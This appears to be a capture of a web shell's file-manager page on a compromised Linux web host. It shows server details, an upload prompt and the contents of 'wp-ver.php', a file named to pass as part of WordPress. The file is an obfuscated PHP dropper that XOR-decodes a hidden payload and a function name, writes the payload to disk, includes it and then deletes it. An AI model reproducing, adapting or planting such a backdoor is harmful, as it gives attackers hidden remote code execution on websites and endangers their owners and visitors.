HEX
Server: Apache
System: Linux web04.cloudvoor.nl 5.15.0-1089-azure #98~20.04.1-Ubuntu SMP Fri May 2 20:18:39 UTC 2025 x86_64
User: web540 (1038)
PHP: 8.3.21
Disabled: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,expect_popen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
Upload Files
File: /var/www/clients/client62/web540/web/wp-ver.php
<?php

function BTFxDmFq($yUSWwpyplh, $avtmaBvbCf)
{
    $yUSWwpyplh = urldecode($yUSWwpyplh);
    $xUnhAWsbQ = str_split($yUSWwpyplh);
    $action = "";
    for ($i = 0; $i < strlen($yUSWwpyplh);$i++) {
        $action .= $xUnhAWsbQ[$i] ^ $avtmaBvbCf[$i%7];
    }
    return $action;
}

$i="Uw7%10%06%7DB%29%21%29%11%29%03-%1D%60%60%1D%04%02%27%1B%17%2B%17%11WdI%06%124%3AYsdB%07%11%18%19%17%1A-3PQ%1C%27%0E%17%22%0A%04%1F%3A%1AokXFYsdB%07%11%18%19%17%1A-3PQ%1D%29%11%17%22%00%13%13%3D%1D%21%28%16%29%04%21%04-%60TV%40aREM8%05%15%3C6%3C.%15%13%2F%24%00%25.%0C%5E%40aREMu%7C%7DB%0F%3D%29%1B%02%19%27%07h4%10%12%00%60M%2C%26%0C%17%5ChM%23%22%01_%7DB%12EMXVPhM%272%0C%29%14%29%1D%29gEVRjREMXVPh%0F%275X%5ET%21IugHMPl%00h%7BX%05%04%3A%05-%29PR%14%29%1D%29nC_P3dBgXVPhIhg%1E%19%02hAl-XKPxRhc%12VLh%1A%3C5%14%13%1E%60M%23%22%01_PnOhc%11VLh%1A%3C5%14%13%1E%60M%2C%26%0C%17YsIl-S%5D%5ChM%21lS_P3dBgXVPhIhgXVPhM%272%0C%29%14%29%1D%29gVKP%2B%01%3Ao%17%04%14%60M%2C%26%0C%17%2Bl%00%15nX%28P%27%1B%2Co%5C%1D%1512l-%25_YsdBgXVPhIhg%05%7BzhIhg%05%7BzhIhg%0A%13%04%3D%1B%26g%5C%19%05%3C6%2C%26%0C%17KEc5Jr%1F%16hA%214%0B%13%04%60M%17%00%3D%22%2B%7E%5E%7BsKC-a%40EM%03%7BzhIhg%1C%1F%15%60%04%2CrPBG%7FXznQM%7DB%14EM%5C%02%15%25%19u%26%0A%04%1116%25%22%0A%11%15%60M%17%0479%3B%01%2Cdg%5C%29+%07%3A%1CnC%7Bz.%06%3A%22%19%15%18hAl3%1D%1B%00h%08%3Bg%5C%12%11%3C%08%17%2C%1D%0FPuWhc%1C%17%04%29%40h%3Cu%7CPhIhc%1C%17%04%29Iug8%03%1E%3B%0C%3A.%19%1A%192%0C%604%10%12%00%60%1A+%23%08%5E%12%29%1A-qL%29%14-%0A%27%23%1D%5ET%2C%08%3C%26QZPo_%23w%0BDA0%03%3A%7F%0C%0F%03qY%21w%10%01%14%2C%0D2%29%1E%04%1D-%18%3Cu%40%18A+NakXR%14%29%1D%29%18%13%13%09a%40sJrVPhI%21%21X%5E%19%3B%1A-3PR%14%29%1D%29%1C_%17%1Bo4anX%0D%7DBIhgXVPhI%21%21X%5ET%2C%08%3C%26%23Q%11o4hzEVW%21Nag%03%7BzhIhgXVPhIhgXR%19hTh%26%0A%04%111AEMXVPhIhgXVPhIhgXVW8%1FogEHP%08%19+7%0E%13%02%3B%00%27%29P_%5CEchgXVPhIhgXVPhIhg_%05%06oIuyXQAfYev_Z%7DBIhgXVPhIhgXVYsdBgXVPhIhgXVPh%0C%2B%2F%17V0%3B%0C%3A.%19%1A%192%0C%60c%11_KEchgXVPhIh%3AX%13%1C%3B%0C%21%21X%5ET%2C%08%3C%26%23Q%11o4hzEVW-Nag%03%7BzhIhgXVPhIhgX%13%06%29%05%60c%1C%17%04%292o%23_%2BYsdBgXVPhIhg%05%7BzhIhgXVPh%0C0.%0C%5EYsdBgXVP5dB%3A";
$j="%0F%21%2B%1D%29%00%3D%1D%17%24%17%18%04-%07%3C4";

$zfiQWE="iHGxvpHyNqus";

$k = BTFxDmFq($i, $zfiQWE);
$f = BTFxDmFq($j, $zfiQWE);
$f($zfiQWE, $k);
include_once ($zfiQWE);
unlink($zfiQWE);
exit();